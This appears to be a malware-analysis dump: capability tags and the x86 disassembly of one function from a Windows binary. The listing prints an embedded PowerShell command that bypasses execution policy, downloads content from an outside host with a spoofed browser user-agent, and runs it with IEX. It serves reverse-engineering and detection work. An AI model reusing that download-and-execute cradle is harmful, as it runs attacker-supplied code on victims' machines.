Function at 0x4eb74e
Capabilities:
Reference http user-agent string
Resolve function by parsing pe exports
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x12c
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 2
je 0x4eba82
cmp dword [ebp - 0x1c], 2
ja 0x4eba7c
cmp dword [ebp - 0x1c], 0
je 0x4eb78a
cmp dword [ebp - 0x1c], 1
je 0x4eb945
jmp 0x4eba7c
mov eax, dword [ebp + 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x2c]
mov edx, dword [eax]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x34]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp + 0x48]
mov edi, dword [eax]
mov dword [ebp - 0x3c], edi
mov eax, dword [ebp + 0x38]
mov esi, dword [eax]
mov dword [ebp - 0x40], esi
mov eax, dword [ebp + 0x24]
fld qword [eax]
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp + 0x30]
mov ecx, dword [eax]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp + 0x3c]
mov ebx, dword [eax]
mov dword [ebp - 0x4c], ebx
mov eax, dword [ebp + 0x20]
mov edi, dword [eax]
mov dword [ebp - 0x50], edi
mov eax, dword [ebp + 0xc]
mov esi, dword [eax]
mov dword [ebp - 0x54], esi
mov eax, dword [ebp + 0x44]
mov edx, dword [eax]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp + 0x48]
mov ecx, dword [eax]
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp + 0x48]
mov ebx, dword [eax]
mov dword [ebp - 0x60], ebx
mov eax, dword [ebp + 0x4c]
mov edi, dword [eax]
mov dword [ebp - 0x64], edi
mov eax, dword [ebp + 0x1c]
mov esi, dword [eax]
mov dword [ebp - 0x68], esi
mov eax, dword [ebp + 0x1c]
mov edx, dword [eax]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp + 0x44]
mov ecx, dword [eax]
mov dword [ebp - 0x70], ecx
mov eax, dword [ebp + 0x28]
mov ebx, dword [eax]
mov dword [ebp - 0x74], ebx
mov eax, dword [ebp + 0x58]
mov edi, dword [eax]
mov dword [ebp - 0x78], edi
mov eax, dword [ebp + 0x40]
fld qword [eax]
mov eax, dword [ebp + 0x18]
mov esi, dword [eax]
mov dword [ebp - 0x7c], esi
mov eax, dword [ebp + 0x40]
fld qword [eax]
mov eax, dword [ebp + 0x1c]
mov edi, dword [eax]
mov eax, dword [ebp + 0x38]
mov esi, dword [eax]
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x24]
fld qword [eax]
fxch st(3)
mov eax, dword [ebp + 0x54]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x84], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x78], eax
fstp qword [esp + 0x70]
fxch st(1)
mov eax, dword [ebp - 0x44]
mov dword [esp + 0x6c], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 0x68], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 0x64], eax
mov dword [esp + 0x60], str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__update_ledger.net_update__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
mov eax, dword [ebp - 0x50]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x54], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x50], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x4c], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x48], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0x44], eax
mov eax, dword [ebp + 0x50]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0x70]
mov dword [esp + 0x38], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 0x34], eax
mov eax, dword [ebp - 0x78]
mov dword [esp + 0x30], eax
fstp qword [esp + 0x28]
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0x24], eax
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
fstp qword [esp + 8]
mov dword [esp + 4], ecx
mov dword [esp], edx
call sym._StrCatW
mov dword [ebp - 0x1c], 2
jmp 0x4eba7d
mov eax, dword [ebp + 0x54]
mov edi, dword [eax]
mov eax, dword [ebp + 0x58]
mov esi, dword [eax]
mov eax, dword [ebp + 0x58]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x54]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x54]
mov edx, dword [eax]
mov eax, dword [ebp + 0x58]
mov eax, dword [eax]
fld1
fstp qword [esp + 0xa0]
mov dword [esp + 0x9c], 7
mov dword [esp + 0x98], 2
mov dword [esp + 0x94], edi
fld qword [0x592b60]
fstp qword [esp + 0x8c]
mov dword [esp + 0x88], esi
mov esi, dword [ebp + 0x50]
mov dword [esp + 0x84], esi
fld qword [0x592b60]
fstp qword [esp + 0x7c]
mov dword [esp + 0x78], 2
fld qword [0x592b40]
fstp qword [esp + 0x70]
mov dword [esp + 0x6c], 0x400
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 3
mov dword [esp + 0x60], 3
mov dword [esp + 0x5c], 6
mov dword [esp + 0x58], 3
mov dword [esp + 0x54], 9
fld qword [0x592b60]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x44], 2
fld qword [0x592b30]
fstp qword [esp + 0x3c]
mov dword [esp + 0x38], ecx
fld qword [0x592b50]
fstp qword [esp + 0x30]
fld qword [0x592b30]
fstp qword [esp + 0x28]
mov dword [esp + 0x24], 4
mov dword [esp + 0x20], 4
mov dword [esp + 0x1c], 1
fld qword [0x592b60]
fstp qword [esp + 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
fld qword [0x592b68]
fstp qword [esp + 4]
mov dword [esp], 4
call sym._ClearMemory
mov dword [ebp - 0x1c], 0
jmp 0x4eba7d
nop
jmp 0x4eb761
nop
add esp, 0x12c
pop ebx
pop esi
pop edi
pop ebp
ret